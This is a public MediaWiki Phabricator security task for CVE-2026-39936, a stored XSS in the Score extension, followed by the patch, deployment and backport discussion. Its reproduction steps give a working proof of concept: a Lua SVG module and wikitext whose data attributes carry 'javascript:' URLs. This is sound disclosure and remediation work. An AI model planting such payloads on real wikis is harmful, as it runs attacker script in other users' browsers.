Page MenuHomePhabricator

CVE-2026-39936: Stored XSS in Score due to usage of non-reserved data attributes
Closed, ResolvedPublicSecurity

Description

The Score extension stores URLs in non-reserved data attributes and uses them for HTML links without appropriate sanitization, allowing for stored XSS through user interaction.

Reproduction steps

To exploit this, we need to be able to insert an <img> tag directly into a custom HTML element we can control the data attributes of. Since image thumbnails are wrapped in elements we can't control, the most straightforward solution is to use an SVG generated by Scribunto instead, which returns a strip marker that represents an <img> tag.

  1. Create Module:Svg with the following code (it doesn't matter what kind of SVG it generates):
local p = {}

function p.generate()
  local svg = mw.svg.new()
  return svg:setAttribute( 'width', '120px' )
	:setAttribute( 'height', '120px' )
	:setContent( '<circle cx="50" cy="50" r="45" style="fill:green;" />' )
	:setImgAttribute( 'alt', 'SVG image' )
	:toImage()
end

return p
  1. Create a new page with the following contents:
<score lang="lilypond">\relative c' { f d f a d f e d cis a cis e a g f e }</score>
<div class="mw-ext-score" data-midi="javascript:alert(1)" data-source="javascript:alert(2)">{{#invoke:Svg|generate}}</div>
  1. Visit the page and click on the green circle
  2. Click on one of the two links in the popup

image.png (259×655 px, 11 KB)

image.png (276×608 px, 22 KB)

Cause

Non-reserved data attributes are used as the href attributes of two links:
https://github.com/wikimedia/mediawiki-extensions-Score/blob/979253d7583ddc82413c47e48c9d47fd8042d4d0/modules/ext.score.popup/popup.js#L4-L26

Additional information

MW 1.46.0-alpha (d03de87)
Score 0.3.0 (979253d)

Event Timeline

Suggested patch:


(Note that I don't have shellbox/lilypond set up locally right now, so I can't test it properly, but it should definitely fix the XSS)

That's a nice find.

Another example of an XSS that would be prevented with a proper CSP policy.

I have a working Score setup and can confirm that the patch fixes the stored XSS. The popup on the SVG stops appearing as soon as the new SVG is loaded, though the popup on scores is broken until the pages are purged (so the data-* attributes in the parser cache turn into data-mw-* attributes). CR+1, should be okay to deploy and then ideally purge the affected pages at least on major wikis (e.g. action=purge + generator=categorymembers + gcmtitle=Category:Pages using the Score extension + gcmlimit=max, then sleep and follow continuation until done; category name varies by wiki).

Edit: (I probably meant “The popup on the SVG stops appearing as soon as the new JS is loaded”, oops.)

I went to https://en.wikipedia.org/wiki/Special:ExpandTemplates?wpInput=%3Cscore%20lang%3D%22lilypond%22%3E%5Crelative%20c'%20%7B%20f%20d%20f%20a%20d%20f%20e%20d%20cis%20a%20cis%20e%20a%20g%20f%20e%20%7D%3C%2Fscore%3E and the emitted HTML still contains the data-midi attribute:

image.png (93×748 px, 43 KB)

Since my patch changes it to data-mw-midi, and I don't think anything on the PHP side should be caching the attribute, it doesn't seem to me that the patch was applied properly

I went to https://en.wikipedia.org/wiki/Special:ExpandTemplates?wpInput=%3Cscore%20lang%3D%22lilypond%22%3E%5Crelative%20c'%20%7B%20f%20d%20f%20a%20d%20f%20e%20d%20cis%20a%20cis%20e%20a%20g%20f%20e%20%7D%3C%2Fscore%3E and the emitted HTML still contains the data-midi attribute:

image.png (93×748 px, 43 KB)

Since my patch changes it to data-mw-midi, and I don't think anything on the PHP side should be caching the attribute, it doesn't seem to me that the patch was applied properly

Yes, this appears to be the case. We are investigating this now. Please bear with us as we are working to train up some other folks on the Wikimedia production security deployment process.

@SomeRandomDeveloper Sorry about that! This should be deployed now - https://sal.toolforge.org/log/DGif1JwBffdvpiTrkH7z

It looks like the data-mw-wiki attribute is on the element now. Could you confirm?

@SomeRandomDeveloper Sorry about that! This should be deployed now - https://sal.toolforge.org/log/DGif1JwBffdvpiTrkH7z

It looks like the data-mw-wiki attribute is on the element now. Could you confirm?

No worries; yes, it looks fine to me now.

Any objections for this patch to go through Gerrit?

Any objections for this patch to go through Gerrit?

Not from me.

Change #1267097 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/extensions/Score@master] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267097

Change #1267097 merged by jenkins-bot:

[mediawiki/extensions/Score@master] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267097

Change #1267103 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/extensions/Score@REL1_45] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267103

Change #1267105 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/extensions/Score@REL1_44] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267105

Change #1267106 had a related patch set uploaded (by Reedy; author: SomeRandomDeveloper):

[mediawiki/extensions/Score@REL1_43] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267106

Change #1267103 merged by jenkins-bot:

[mediawiki/extensions/Score@REL1_45] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267103

Change #1267106 merged by jenkins-bot:

[mediawiki/extensions/Score@REL1_43] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267106

Change #1267105 merged by jenkins-bot:

[mediawiki/extensions/Score@REL1_44] SECURITY: Use reserved data attributes to store URLs

https://gerrit.wikimedia.org/r/1267105

Mstyles renamed this task from Stored XSS in Score due to usage of non-reserved data attributes to CVE-2026-39936: Stored XSS in Score due to usage of non-reserved data attributes.Tue, Apr 7, 10:30 PM
Mstyles closed this task as Resolved.
Mstyles changed the visibility from "Custom Policy" to "Public (No Login Required)".
Mstyles changed the edit policy from "Custom Policy" to "All Users".